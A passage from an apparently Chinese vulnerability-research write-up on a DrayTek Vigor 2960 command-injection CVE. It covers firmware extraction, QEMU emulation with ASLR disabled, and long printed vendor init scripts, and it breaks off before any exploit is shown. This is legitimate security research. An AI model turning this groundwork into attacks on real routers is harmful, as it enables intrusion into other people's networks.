Draytek2960命令注入

提取固件

ubi文件框架要用ubi_reader进行提取

ubireader_extract_files ./_V2960\ 1.5.1.5.all.extracted/20030.ubi 
ubireader_extract_files ./img-863727972_vol-rootfs.ubifs
image-20241207124058200

根据cve报告看到问题出在cgi-bin目录下的mainfunction.cgi程序,在www下的cgi-bin文件夹中提取文件

image-20241207124113985

环境仿真

模拟启动 lighttpd

文件系统的boot文件夹下保存着这个设备的Linux kernel,版本为 Linux-2.6.33.5

# ls -al ./ubifs-root/boot
total 2572
drwxr-xr-x  2 root root    4096 Oct  5  2023 .
drwxr-xr-x 17 root root    4096 Aug 21 14:22 ..
-rw-r--r--  1 root root       9 Oct  5  2023 crc32_eeprom.txt
-rw-r--r--  1 root root       9 Oct  5  2023 crc32_uboot.txt
-rw-r--r--  1 root root   29420 Oct  5  2023 eeprom.bin
-rw-r--r--  1 root root       5 Oct  5  2023 len_eeprom.txt
-rw-r--r--  1 root root       6 Oct  5  2023 len_uboot.txt
-rw-r--r--  1 root root  405988 Oct  5  2023 u-boot.bin
-rw-r--r--  1 root root 2156648 Oct  5  2023 uImage
-rw-r--r--  1 root root       5 Oct  5  2023 ver_eeprom.txt
-rw-r--r--  1 root root       5 Oct  5  2023 ver_uboot.txt
# file ./ubifs-root/boot/uImage
./ubifs-root/boot/uImage: u-boot legacy uImage, Linux-2.6.33.5, Linux/ARM, OS Kernel Image (Not compressed), 2156584 bytes, Thu Oct  5 14:05:39 2023, Load Address: 0x82008000, Entry Point: 0x82008000, Header CRC: 0x90ADA936, Data CRC: 0x4EB3ADC5
#

仿照参考文章中对 Cisco RV340 的模拟,看直接使用 Linux 3.2.0 的 kernel(armhf,little endian)是否能够正常启动系统,模拟步骤如下:

-- 虚拟机:模拟文件下载 --
$ mkdir emu && cd emu
$ wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
$ wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
$ wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
-- 虚拟机:打包UBI文件系统--
$ cd ../ubifs-root/V2960\ 1.5.1.5.all/
$ ls
img-863727972_vol-rootfs.ubifs ubifs-root
$ sudo su
# tar czf rootfs.tar.gz ./ubifs-root
# mv ./rootfs.tar.gz ../../emu
# cd ../../emu
# exit
-- 虚拟机:配置网络--(tap0已经被我之前模拟的Vigor 2960 v1.5.0版本占用,故这里选择tap1)
$ sudo tunctl -t tap1
$ sudo ifconfig tap1 192.168.2.1/24
-- 虚拟机:启动qemu--(启动时间略长,请耐心等待)
$ sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap1,script=no,downscript=no -nographic -smp 4
pulseaudio: set_sink_input_volume() failed
pulseaudio: Reason: Invalid argument
pulseaudio: set_sink_input_mute() failed
pulseaudio: Reason: Invalid argument
Uncompressing Linux... done, booting the kernel.

Debian GNU/Linux 7 debian-armhf ttyAMA0

debian-armhf login:

-- qemu内部 --(账号密码均为root)
# ifconfig eth0 192.168.2.2/24
# echo 0 > /proc/sys/kernel/randomize_va_space # 关闭地址随机化
# scp cyberangel@192.168.2.1:/home/cyberangel/Desktop/tmp/article/emu/rootfs.tar.gz .
The authenticity of host '192.168.2.1 (192.168.2.1)' can't be established.
ECDSA key fingerprint is ab:4c:c9:46:11:05:33:5a:41:47:63:72:8f:c4:de:d7.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.2.1' (ECDSA) to the list of known hosts.
cyberangel@192.168.2.1's password:
rootfs.tar.gz                                 100%   30MB   1.8MB/s   00:17    
# pwd
/root
# tar xzf rootfs.tar.gz
# ls
rootfs.tar.gz ubifs-root
# mv ubifs-root rootfs
# chmod -R 777 ./rootfs
# mount -o bind /dev ./rootfs/dev && mount -t proc /proc ./rootfs/proc # 挂载目录
# chroot rootfs/ sh # 进入shell


BusyBox v1.4.2 (2023-10-05 20:54:48 CST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # ls
bin           dev           proc           tmp
boot           etc           rom           usr
config_backup lib           sbin           var
data           mnt           sys           www
/ #

回到虚拟机的 ubifs-root 文件夹,经过翻找发现 web 服务实际上是 lighttpd 进程,服务由/etc/init.d 目录下的同名脚本管理:

-- 虚拟机:ubifs-root文件夹 --
$ find ./etc/init.d/ -name "*lighttpd*"
./etc/init.d/lighttpd
$

在 qemu 中尝试直接启动,但报错:

image-20241207165136282

这是由于比如 /etc/lighttpd/serverport.confserver.port 为空:

image-20241207165147637

/etc/init.d/lighttpd 的完整脚本如下,可以看到 server.port 来自于命令 config_get web_port access_control web_port

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org
START=40

BIN=lighttpd
OPTIONS="-f /etc/lighttpd/lighttpd.conf"

LOG_D=/var/log/$BIN
RUN_D=/var/run
PID_F=$RUN_D/$BIN.pid

cipher_tls1_2="ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256"
cipher_tls1_0=""
cipher_reject=":!aNULL:!eNULL:!3DES:!EXPORT:!DES:!MD5:!PSK:!RC4"


start() {
config_load acc_ctrl
config_get web_port access_control web_port
mkdir -p $LOG_D
mkdir -p $RUN_D
mkdir -p /tmp/lighttpdcompress/
#chown lighttpd:lighttpd /tmp/lighttpdcompress/
#sed -i '/server.port/d' /etc/lighttpd/lighttpd.conf
echo "server.port = ${web_port}" > /etc/lighttpd/serverport.conf
echo "\$SERVER[\"socket\"] == \"[::]:$web_port\"{" >> /etc/lighttpd/serverport.conf
echo 'setenv.add-response-header = ( "X-Frame-Options" => "SAMEORIGIN" )'>> /etc/lighttpd/serverport.conf
echo 'setenv.add-response-header += ( "Cache-Control" => "no-cache" )' >> /etc/lighttpd/serverport.conf
echo '}'>> /etc/lighttpd/serverport.conf
echo "\$SERVER[\"socket\"] == \"0.0.0.0:$web_port\"{" >> /etc/lighttpd/serverport.conf
echo 'setenv.add-response-header = ( "X-Frame-Options" => "SAMEORIGIN" )'>> /etc/lighttpd/serverport.conf
echo 'setenv.add-response-header += ( "Cache-Control" => "no-cache" )' >> /etc/lighttpd/serverport.conf
echo '}'>> /etc/lighttpd/serverport.conf

config_get https_port access_control https_port
if [  -z "$https_port" ] ; then
        https_port="443"
fi

if [ "$(uci get acc_ctrl.access_control.use_tls_1_0)" != "disable" ];then
cipher_tls1_0=":AES256-SHA:AES128-SHA"
fi

config_get sslvpn_port access_control sslvpn_port
if [  -z "$sslvpn_port" ] ; then
        sslvpn_port="443"
fi

##### write ssl proxy config to sslproxy.conf #######
config_get sslproxy_port access_control sslproxy_port
if [  -z "$sslproxy_port" ] ; then
        sslproxy_port="44300"
fi
if [ "$sslproxy_port" != "$sslvpn_port" -a "$sslproxy_port" != "$https_port" ];then
echo "\$SERVER[\"socket\"] == \":$sslproxy_port\" {" > /etc/lighttpd/sslproxy.conf
echo "ssl.engine = \"enable\"" >> /etc/lighttpd/sslproxy.conf
echo "ssl.use-sslv2 = \"disable\"" >> /etc/lighttpd/sslproxy.conf
echo "ssl.use-sslv3 = \"disable\"" >> /etc/lighttpd/sslproxy.conf
echo "ssl.pemfile = \"/etc/lighttpd/lighttpd_https.pem\"" >> /etc/lighttpd/sslproxy.conf
echo "server.document-root = \"/www/sslvpn/\"" >> /etc/lighttpd/sslproxy.conf
echo 'setenv.add-response-header = ( "X-Frame-Options" => "SAMEORIGIN" )' >> /etc/lighttpd/sslproxy.conf
echo 'setenv.add-response-header += ( "Cache-Control" => "no-cache" )' >> /etc/lighttpd/sslproxy.conf
echo "}" >> /etc/lighttpd/sslproxy.conf
else
echo "" > /etc/lighttpd/sslproxy.conf
fi
##### end of write sslproxy.conf ##########

# get server certificate
pemfile="/etc/lighttpd/lighttpd_https.pem"
isLetsEncrypt="0"
config_get server_cert access_control server_cert
if [ "$server_cert" == "Default" -o "$server_cert" == "" ]; then
#pemfile="/etc/lighttpd/host.pem"

if [ -f /etc/config/new_crt.pem ]; then
check_cert=`grep 'END CERTIFICATE' /etc/config/new_crt.pem`
check_private=`grep 'END RSA PRIVATE KEY' /etc/config/new_crt.pem`
if [ "$check_cert" != "" -a "$check_private" != "" ]; then
cp /etc/config/new_crt.pem /etc/lighttpd/lighttpd_https.pem
else
# use default pem
cp /etc/lighttpd/host.pem /etc/lighttpd/lighttpd_https.pem
fi
else
# use default pem
cp /etc/lighttpd/host.pem /etc/lighttpd/lighttpd_https.pem
fi
else
if [ -f /etc/ipsec.d/certs/$server_cert.crt ] && [ -f /etc/ipsec.d/private/private_key_$server_cert.pem ]; then
passkey=$(uci show ipsec_cer_config.$server_cert | grep passkey 1>/dev/null && uci -q get ipsec_cer_config.$server_cert.passkey || echo X509_Password_$server_cert)
[ "$passkey" == "" ] || passkey="-passin pass:$passkey"
if [ "$(openssl rsa -in /etc/ipsec.d/private/private_key_$server_cert.pem $passkey -check -noout)" == "RSA key ok" ]; then
#cat /etc/ipsec.d/certs/$server_cert.crt > /etc/lighttpd/userdefine.pem | openssl rsa -in /etc/ipsec.d/private/private_key_$server_cert.pem $passkey >> /etc/lighttpd/userdefine.pem
#pemfile="/etc/lighttpd/userdefine.pem"
cat /etc/ipsec.d/certs/$server_cert.crt > /etc/lighttpd/lighttpd_https.pem | openssl rsa -in /etc/ipsec.d/private/private_key_$server_cert.pem $passkey >> /etc/lighttpd/lighttpd_https.pem
#uci show certificate.$server_cert.issuer | grep "Let's Encrypt" > /dev/null
#if [ "$?" = "0" ]; then
# if [ -f /etc/ipsec.d/cacerts/LEPT_CHAIN.crt ]; then #check whether LEPT_CHAIN.crt is existing.
# isLetsEncrypt="1"
# else
# echo "LEPT_CHAIN.crt isn't existing, please check/apply your let's encrypt certificate." > /tmp/web_msg_notify
# logger "lighttpd : LEPT_CHAIN.crt isn't existing, please check/apply your let's encrypt certificate."
# fi
#fi
if [ -f /etc/ipsec.d/cacerts/LEPT_CHAIN.crt ]; then #check whether LEPT_CHAIN.crt is existing.
cert_issuer="$(uci get certificate.$server_cert.issuer)"
openssl x509 -in /etc/ipsec.d/cacerts/LEPT_CHAIN.crt -noout -subject | grep $cert_issuer > /dev/null
if [ "$?" = "0" ]; then
isLetsEncrypt="1"
fi
fi
else
cp /etc/lighttpd/host.pem /etc/lighttpd/lighttpd_https.pem
fi
else
cp /etc/lighttpd/host.pem /etc/lighttpd/lighttpd_https.pem
fi
fi

echo '$SERVER["socket"]' == \"0.0.0.0:$https_port\" { > /etc/lighttpd/https.conf
echo "ssl.engine = \"enable\"" >> /etc/lighttpd/https.conf
echo "ssl.use-sslv2 = \"disable\"" >> /etc/lighttpd/https.conf
echo "ssl.use-sslv3 = \"disable\"" >> /etc/lighttpd/https.conf
echo "ssl.pemfile = \"$pemfile\"" >> /etc/lighttpd/https.conf
#echo "ssl.ca-file = \"/etc/lighttpd/host.crt\"" >> /etc/lighttpd/https.conf
if [ "$isLetsEncrypt" == "1" ]; then
echo "ssl.ca-file = \"/etc/ipsec.d/cacerts/LEPT_CHAIN.crt\"" >> /etc/lighttpd/https.conf
fi
echo "ssl.disable-client-renegotiation = \"enable\"" >> /etc/lighttpd/https.conf
echo "ssl.cipher-list = \"${cipher_tls1_2}${cipher_tls1_0}${cipher_reject}\"" >> /etc/lighttpd/https.conf
echo "server.name = \"Vigor3900\"" >> /etc/lighttpd/https.conf
echo 'setenv.add-response-header = ( "X-Frame-Options" => "SAMEORIGIN" )' >> /etc/lighttpd/https.conf
echo 'setenv.add-response-header += ( "Cache-Control" => "no-cache" )' >> /etc/lighttpd/https.conf
echo "}" >> /etc/lighttpd/https.conf
if [ "$sslvpn_port" != "$https_port" ]; then
echo '$SERVER["socket"]' == \"0.0.0.0:$sslvpn_port\" { >> /etc/lighttpd/https.conf
echo "ssl.engine = \"enable\"" >> /etc/lighttpd/https.conf
echo "ssl.use-sslv2 = \"disable\"" >> /etc/lighttpd/https.conf
echo "ssl.use-sslv3 = \"disable\"" >> /etc/lighttpd/https.conf
echo "ssl.pemfile = \"$pemfile\"" >> /etc/lighttpd/https.conf
#echo "ssl.ca-file = \"/etc/lighttpd/host.crt\"" >> /etc/lighttpd/https.conf
if [ "$isLetsEncrypt" == "1" ]; then
echo "ssl.ca-file = \"/etc/ipsec.d/cacerts/LEPT_CHAIN.crt\"" >> /etc/lighttpd/https.conf
fi
echo "ssl.disable-client-renegotiation = \"enable\"" >> /etc/lighttpd/https.conf
echo "ssl.cipher-list = \"${cipher_tls1_2}${cipher_tls1_0}${cipher_reject}\"" >> /etc/lighttpd/https.conf
echo "server.name = \"Vigor3900\"" >> /etc/lighttpd/https.conf
if [ "$sslvpn_port" == "$sslproxy_port" ]; then
echo "server.document-root = \"/www/sslvpn/\"" >> /etc/lighttpd/https.conf
fi
echo "}" >> /etc/lighttpd/https.conf
fi
echo '$SERVER["socket"]' == \"[::]:$https_port\" { >> /etc/lighttpd/https.conf
echo "ssl.engine = \"enable\"" >> /etc/lighttpd/https.conf
echo "ssl.use-sslv2 = \"disable\"" >> /etc/lighttpd/https.conf
echo "ssl.use-sslv3 = \"disable\"" >> /etc/lighttpd/https.conf
echo "ssl.pemfile = \"$pemfile\"" >> /etc/lighttpd/https.conf
#echo "ssl.ca-file = \"/etc/lighttpd/host.crt\"" >> /etc/lighttpd/https.conf
if [ "$isLetsEncrypt" == "1" ]; then
echo "ssl.ca-file = \"/etc/ipsec.d/cacerts/LEPT_CHAIN.crt\"" >> /etc/lighttpd/https.conf
fi
echo "ssl.disable-client-renegotiation = \"enable\"" >> /etc/lighttpd/https.conf
echo "ssl.cipher-list = \"${cipher_tls1_2}${cipher_tls1_0}${cipher_reject}\"" >> /etc/lighttpd/https.conf
echo "server.name = \"Vigor3900\"" >> /etc/lighttpd/https.conf
echo 'setenv.add-response-header = ( "X-Frame-Options" => "SAMEORIGIN" )'>> /etc/lighttpd/https.conf
echo 'setenv.add-response-header += ( "Cache-Control" => "no-cache" )' >> /etc/lighttpd/https.conf
echo "}" >> /etc/lighttpd/https.conf

echo "# set connect mothod support" >> /etc/lighttpd/https.conf
echo "#connect.debug = 1" >> /etc/lighttpd/https.conf
echo "connect.server = (" >> /etc/lighttpd/https.conf
echo "#       \"ip:port\" => ( \"host\" => \"ip\", \"port\" => port )" >> /etc/lighttpd/https.conf
echo "       \"/\" => ( \"host\" => \"127.0.0.1\", \"port\" => 56417 )," >> /etc/lighttpd/https.conf
echo "       \"https:$https_port\" => ( \"host\" => \"127.0.0.1\", \"port\" => 56417 )," >> /etc/lighttpd/https.conf
echo "       \"sslvpn:$sslvpn_port\" => ( \"host\" => \"127.0.0.1\", \"port\" => 56417 )," >> /etc/lighttpd/https.conf
echo "       \"sslpxy:$sslproxy_port\" => ( \"host\" => \"127.0.0.1\", \"port\" => 56417 )," >> /etc/lighttpd/https.conf
echo "       \"*:*\" => ()" >> /etc/lighttpd/https.conf
echo ")" >> /etc/lighttpd/https.conf

#reset webportal attributes before start lighttpd
/sbin/setup_webportal_attr
$BIN $OPTIONS
}

stop() {
[ -f $PID_F ] && kill $(cat $PID_F)
sleep 1
L_PID=$(ps | grep "[l]ighttpd -f" | awk -F ' ' '{print $1}')
[ -z "$L_PID" ] || kill -9 $L_PID

}

请注意,此文件的开头包含了 /etc/rc.commonrc.common 又包含了 . $IPKG_INSTROOT/etc/functions.sh,所以我们可以在 /etc/functions.sh 找到对 config_get 的定义:

#!/bin/sh
# Copyright (C) 2006 OpenWrt.org
# Copyright (C) 2006 Fokus Fraunhofer <carsten.tittel@fokus.fraunhofer.de>

alias debug=${DEBUG:-:}

# ...(代码省略)
config_load() {
uci_load "$@"
}
# ...(代码省略)

进一步查找,uci_load 定义于文件 /lib/config/uci.sh

uci_load() {
local PACKAGE="$1"
local DATA
local RET

[ "$PACKAGE" = "appuser" ] && {
echo "Do Not config_load on appuser, see G43803 for detail" >/dev/console
return
}

_C=0
if [ -z "$CONFIG_APPEND" ]; then
export ${NO_EXPORT:+-n} CONFIG_SECTIONS=
export ${NO_EXPORT:+-n} CONFIG_NUM_SECTIONS=0
export ${NO_EXPORT:+-n} CONFIG_SECTION=
fi

DATA="$(/sbin/uci ${LOAD_STATE:+-P /var/state} -S -n export "$PACKAGE" 2>/dev/null)"
RET="$?"
[ "$RET" != 0 -o -z "$DATA" ] || eval "$DATA"
unset DATA

${CONFIG_SECTION:+config_cb}
return "$RET"
}

看来核心在于 /sbin/uci ,通过对上述脚本添加echo语句,执行lighttpd服务的启动脚本时有:/sbin/uci -P /var/state -S -n export acc_ctrl 2>/dev/null,如下所示:

image-20241207165208684
image-20241207165225844

根据文章 https://blog.csdn.net/qq_28689569/article/details/128606386 可知配置文件包含 config、option、list 等字样:

image-20241207165241481

尝试在文件系统中检索,最终发现uci的配置文件全部保存在 /etc/config-default/ 目录下:

$ ls etc/config-default                                                                                            at 17:25:45
acc_barrier     bandwidth_limit   cwmp   fpp_policy ipsec_remote_dialin p2p_object     qq_filter   sslvpn_l2l_din   ucarp_mode
acc_ctrl     bgp_neighbor   dataflow   ftp_userconfig ipvsadm     packet_mark_lan     qq_object   sslvpn_l2l_dout   udp_tunnel
addr_mapv2     bind   ddns   fw_cf_license keyword_object     packet_mark_wan     quagga   switch     upnpd
admin2fa     bindhost   ddos   general_conf l2tpd_config     pap.secrets     radius   switch_lan     urlcategory
apmd     bridge   ddos_sw   gretunnel_config lan_dns     pnp_network     radius_server   switch_lan_2960   url_filter
apm_device     bulletin   ddos_sw_2960   gvrp lan_maximum_frame   policy_rt     radvd   switch_port_2960 url_filter_msg
apm_load_balance     category_object   ddos_sw_300b   h323alg lanroute     port_block     rcertificate   switch_port_300   url_lib_update
apm_maintenance_cmds certificate   ddos_sw_3900   igmpproxy lanroute_group     portflow     route   switch_port_3900 usb_temper
apm_map_config     chap-secrets   device_info   im_object lb_pool     pppoe_server     route6   switch_wan     vlan
apm_wlan_profile     cn_category_object   dhcp6s   ip6_filter_set lb_rule     pptpd_config     rrd   switch_wan_2960   vlan_bridge
app_filter     config_mail   dhcpd   ip6_filter_set_rule ldap     pptp_l2l_din     samba   swm     vlan_lan
app_guest     config_mail_alert     dhcprelay   ip6_object lpd     pptp_l2l_dout     samba_folder   swm_group     vlan_mode
app_guest_group       config_notify   dmz   ipbindmacs mac_block     protocol_object     schedule_reboot   swm_status     vlan_wan
app_guest_setup       config_sms   dns_object   ip_filter_set mac_object     pure_ftpd     schedule_wake_on_lan sw_qos_in     vs
app_object     config_sms_alert   dropbear   ip_filter_set_rule mail_alert     pvid_lan     service_object   sw_qos_out     vs_tunnel
appuser     configuration   dscp_retag   ip_object mirror     pvid_wan     siproxd   syslogd     vs_tunnel_ipsec_policy
appuser_apply_all     connlimit   fail_ban   iprouting nat     qos     smart_monitor   system     wan_maximum_frame
appuser_group     connlimit_msg   fast_nat   ipsec_cer_config nat_new     qos.conf     smbpasswd   temper_statistic webportal_text
auto_app     country_object   fast_nat_excp ipsec_config network     qos_general     snmpd   time_object     zenmate
auto_discovery     cvmd   fast_rt   ipsec_lb_pool notify_setting     qos_lan_sch_shpaer_ttl sslproxy_config   timeout_ctrl
auto_fw     cvm_device   fext_object   ipsec_lb_rule ntpclient     qos_lanv4     sslrdp_config   tr069_tmp
auto_lb     cvm_keep_vpn   filter_policy ipsec_msa openswan     qos_wan_sch_shpaer_ttl ssltunnel_config   ucarp_as
auto_pat     cvm_maintenance_cmds firewall   ipsec_policy openvpn_config     qos_wanv4     sslvnc_config   ucarp_hs
$

搜索由哪个服务导入该文件夹下的配置:

$ grep -r "config-default" | grep "init.d"
etc/init.d/boot_post: cp /etc/config-default/$config_name /etc/config
etc/init.d/boot_post: for file in $(ls /etc/config-default); do
etc/init.d/boot_post: [ -d /etc/config-default ] || {
etc/init.d/boot_post: for file in $(ls /etc/config-default); do
etc/init.d/boot_post: cp /etc/config-default/$file /etc/config
etc/init.d/boot_post: cp /etc/config-default/$file /etc/config
etc/init.d/boot_post: for file in $(ls /etc/config-default); do
etc/init.d/boot_post: #cp /etc/config-default/$file /etc/config
etc/init.d/boot_post: for file in $(ls /etc/config-default); do
etc/init.d/ucarp_hs: cp /etc/config-default/ucarp_hs /etc/config/ucarp_hs
etc/init.d/cwmp: cp /etc/config-default/device_info /etc/config/
etc/init.d/zbootlog: rm -f /etc/config-default/my_script
etc/init.d/zbootlog: rm -f /etc/config-default/common.crt
etc/init.d/openvpn: uci show /etc/config-default/openvpn_config > /tmp/tmp_default_cfg
etc/init.d/openvpn: cp /etc/config-default/openvpn_config /etc/config/
etc/init.d/openvpn: cp /etc/config-default/openvpn_config /etc/config/
etc/init.d/boot: [ -d /etc/config-default ] || {
etc/init.d/boot: for file in $(ls /etc/config-default); do
etc/init.d/boot: cp /etc/config-default/$file /etc/config
$

经过测试,uci的配置由服务 boot_post 导入:

#!/bin/sh /etc/rc.common

START=12

system_config() {
local cfg="$1"
local hostname

config_get hostname "$cfg" hostname
echo "${hostname:-OpenWrt}" > /proc/sys/kernel/hostname
echo "127.0.0.1 localhost ${hostname:-OpenWrt}" > /etc/hosts

# klogd -c1
}
set_hosts() {
local model

model=`head -n 1 /etc/version`
echo "${model:-OpenWrt}" > /proc/sys/kernel/hostname
echo "127.0.0.1 localhost ${model:-OpenWrt}" > /etc/hosts
}

apply_uci_config() {(
include /lib/config
uci_apply_defaults
)}

is_uci_config() {
config_name=$1
for file2 in $(cat /etc/non_uci_list); do
if [ "$config_name" = "$file2" ]
then
#echo "skip" $file2
return 1
fi
done
return 0
}

check_version() {
local org_rev

if [ -e /etc/persistence/data/rev ]; then
org_rev=$(cat /etc/persistence/data/rev)
else
org_rev=0
#echo "check_version return 0"
return 0
fi

if [ $org_rev -ge 2315 ]; then
#echo "check_version return 1"
return 1
fi
#echo "check_version return 0"
return 0
}

restore_uci_config() {
config_name=$1
if [ -f /data/config_modified/$config_name ]; then
cp /data/config_modified/$config_name /etc/config
echo "[WARNING] Restore from /data/config_modified/$config_name " > /dev/console
else
cp /etc/config-default/$config_name /etc/config
echo "[WARNING] Set $config_name to DEFAULT " > /dev/console
fi
}

# Chris, add start, 20100427, deal with persistent partition
mount_config_part_post() {
#echo "Mounting config partition"
# [ -d /etc/persistence ] || {
# echo "[BOOT] persistence does not exist, maked."
# mkdir -p /etc/persistence
# }

# if [ -e /dev/mtdblock7 ]
# then
# mount -t jffs2 /dev/mtdblock7 /etc/persistence
# else
# echo "[ERROR][BOOT] persistence partition not found, please update bootloader."
# mount -t jffs2 /dev/mtdblock5 /etc/persistence
# fi
# RETURN_VALUE=$?
# [ $RETURN_VALUE = 0 ] || {
# echo "[BOOT] persistence mount failed."
# return 1
# }

# Upgrade config and data from old firmware version
[ -d /etc/persistence/config ] || {
#echo "/etc/persistence/config maked"
mkdir -p /etc/persistence/config
}
[ -d /etc/persistence/data ] || {
#echo "/etc/persistence/data maked"
mkdir -p /etc/persistence/data
}

[ -d /data/config_modified ] || {
#echo "/data/config_modified"
mkdir -p /data/config_modified
}

for file in $(ls /etc/persistence); do
[ -f /etc/persistence/$file ] && {
if [ $file = passwd ]
then
cp /etc/persistence/$file /etc/persistence/data
elif [ $file = group ]
then
cp /etc/persistence/$file /etc/persistence/data
else
cp /etc/persistence/$file /etc/persistence/config
fi
rm -f /etc/persistence/$file
}
done
# if passwd or group is null
[ -f /etc/persistence/data/passwd ] && {
grep root /etc/persistence/data/passwd >/dev/null 2>&1
passwd_ret=$?
}
[ -s /etc/persistence/data/passwd -a "$passwd_ret" = "0" ] || {
[ -f /etc/persistence/data/passwd_backup ] && {
grep root /etc/persistence/data/passwd_backup >/dev/null 2>&1
passwd_backup_ret=$?
}
if [ -s /etc/persistence/data/passwd_backup -a "$passwd_backup_ret" = "0" ]; then
cp /etc/persistence/data/passwd_backup /etc/persistence/data/passwd
else
rm -f /etc/persistence/data/passwd
fi
}
[ -f /etc/persistence/data/group ] && {
grep root /etc/persistence/data/group >/dev/null 2>&1
group_ret=$?
}
[ -s /etc/persistence/data/group -a "$group_ret" = "0" ] || {
[ -f /etc/persistence/data/group_backup ] && {
grep root /etc/persistence/data/group_backup >/dev/null 2>&1
group_backup_ret=$?
}
if [ -s /etc/persistence/data/group_backup -a "$group_backup_ret" = "0" ]; then
cp /etc/persistence/data/group_backup /etc/persistence/data/group
else
rm -f /etc/persistence/data/group
fi
}
# Link uci config
[ -e /etc/config ] || {
ln -sf /etc/persistence/config /etc/
}
[ -e /etc/persistence/config/config ] && {
[ -f /etc/persistence/config/config ] || {
rm /etc/persistence/config/config
}
}
if [ -f /etc/persistence/data/fwupgrade_reset_default ];then
rm -f /etc/persistence/config/*
rm -rf /etc/persistence/checksum/config
rm -f /etc/passwd
rm -f /etc/group
rm -f /etc/passwd_md5
rm -rf /etc/persistence/data/rev
rm -f /etc/persistence/data/fwupgrade_reset_default
rm -f /etc/ucarp/revision
fi
# checksum if not exist
[ -d /etc/persistence/checksum/config ] || {
echo "[BOOT] creating config checksum"
mkdir -p /etc/persistence/checksum/config
for file in $(ls /etc/config-default); do
if [ -f /etc/config/$file ]; then
md5sum /etc/config/$file | awk '{print $1}' > /etc/persistence/checksum/config/$file
fi
done
}

# For reset default or partial reset default
[ -d /etc/config-default ] || {
echo "[BOOT] default config not exist"
return 2
}
[ -d /etc/data-default ] || {
echo "[BOOT] default data not exist"
return 3
}

# config
if [ -d /data/default_set ]; then
mkdir -p /tmp/default_set
CONFIG_NAME=`ls -1 /data/default_set | grep tar.gz | awk '{FS=".tar.gz"}{print $1}'`
tar -zxf /data/default_set/$CONFIG_NAME.tar.gz -C /tmp/default_set
fi
for file in $(ls /etc/config-default); do
[ -f /etc/config/$file ] || {
if [ -d /data/default_set ]; then
if [ -f /tmp/default_set/etc/persistence/config/$file ]; then
cp /tmp/default_set/etc/persistence/config/$file /etc/config
else
cp /etc/config-default/$file /etc/config
fi
else
cp /etc/config-default/$file /etc/config
fi
md5sum /etc/config/$file | awk '{print $1}' > /etc/persistence/checksum/config/$file
}
done

# data
for file in $(ls /etc/data-default); do
[ -f /etc/persistence/data/$file ] || {
cp /etc/data-default/$file /etc/persistence/data
}
done

# reset passwd and group to default
[ -f /etc/persistence/data/passwd ] || {
cp /etc/data-default/passwd /etc/persistence/data/passwd
}
[ -f /etc/persistence/data/group ] || {
cp /etc/data-default/group /etc/persistence/data/group
}
[ -f /etc/persistence/data/passwd_md5 ] || {
cp /etc/data-default/passwd_md5 /etc/persistence/data/passwd_md5
}

[ -f /etc/persistence/data/passwd_newmd5 ] || {
cp /etc/data-default/passwd_newmd5 /etc/persistence/data/passwd_newmd5
cp /etc/data-default/passwd_nonce /etc/persistence/data/passwd_nonce
}

:<< 'COMMENT_OUT_END'
# checksum
check_version
if [ "$?" = "1" ]
then
for file in $(ls /etc/config-default); do
is_uci_config $file
if [ "$?" -eq 0 ]; then
#echo "check" $file
if [ -f /etc/config/$file ]; then
if [ -f /etc/persistence/checksum/config/$file ]; then
CHECKSUM_1=`cat /etc/persistence/checksum/config/$file`
CHECKSUM_2=`md5sum /etc/config/$file | awk '{print $1}'`
[ "$CHECKSUM_1" = "$CHECKSUM_2" ] || {
echo "[WARNING] uci config file" $file "checksum error!!" > /dev/console
#cp /etc/config-default/$file /etc/config
if [ -d /data/default_set ]; then
if [ -f /tmp/default_set/etc/persistence/config/$file ]; then
cp /tmp/default_set/etc/persistence/config/$file /etc/config
else
restore_uci_config $file
fi
else
restore_uci_config $file
fi
md5sum /etc/config/$file | awk '{print $1}' > /etc/persistence/checksum/config/$file
}
fi
fi
#else
# echo "skip" $file
fi
done
else
echo "[BOOT] upgrade from 1.0.3.2 or below, update checksum"
for file in $(ls /etc/config-default); do
is_uci_config $file
if [ "$?" -eq 0 ]; then
if [ -f /etc/config/$file ]; then
if [ -f /etc/persistence/checksum/config/$file ]; then
md5sum /etc/config/$file | awk '{print $1}' > /etc/persistence/checksum/config/$file
fi
fi
fi
done
fi
COMMENT_OUT_END
echo `cat /etc/version` >/dev/console

#remove temp config
rm -rf /tmp/default_set

# 2012/5/8, Boham modified, recover passwd file to /etc/
cp /etc/persistence/data/passwd /etc/passwd
cp /etc/persistence/data/group /etc/group
if [ `cat /etc/passwd | grep '^operator.*:501:.*clish$'` ]; then
sed -i '/^operator.*:501:.*clish$/d' /etc/passwd
fi
#2012/5/8, Boham end modified

# Copy IPSec
#Certificate mechanism has been removed in Vigor300B
model=$(head -n 1 /etc/version)
if [ "$model" != "Vigor300B" ] ;then
[ -d /etc/persistence/data/ipsec.d ] || {
mkdir -p /etc/persistence/data/ipsec.d
mkdir -p /etc/persistence/data/ipsec.d/aacerts
mkdir -p /etc/persistence/data/ipsec.d/cacerts
mkdir -p /etc/persistence/data/ipsec.d/certs
mkdir -p /etc/persistence/data/ipsec.d/crls
mkdir -p /etc/persistence/data/ipsec.d/ocspcerts
mkdir -p /etc/persistence/data/ipsec.d/private
mkdir -p /etc/persistence/data/ipsec.d/newcerts
}

[ -d /etc/persistence/data/ipsec.d/newcerts ] || {
mkdir -p /etc/persistence/data/ipsec.d/newcerts
}

[ -d /etc/persistence/data/ipsec.d/private ] || {
mkdir -p /etc/persistence/data/ipsec.d/private
}

[ -d /etc/persistence/data/ipsec.d/crls ] || {
mkdir -p /etc/persistence/data/ipsec.d/crls
}

[ -d /etc/persistence/data/ipsec.d/cacerts ] || {
mkdir -p /etc/persistence/data/ipsec.d/cacerts
}

[ -d /etc/persistence/data/ipsec.d/certs ] || {
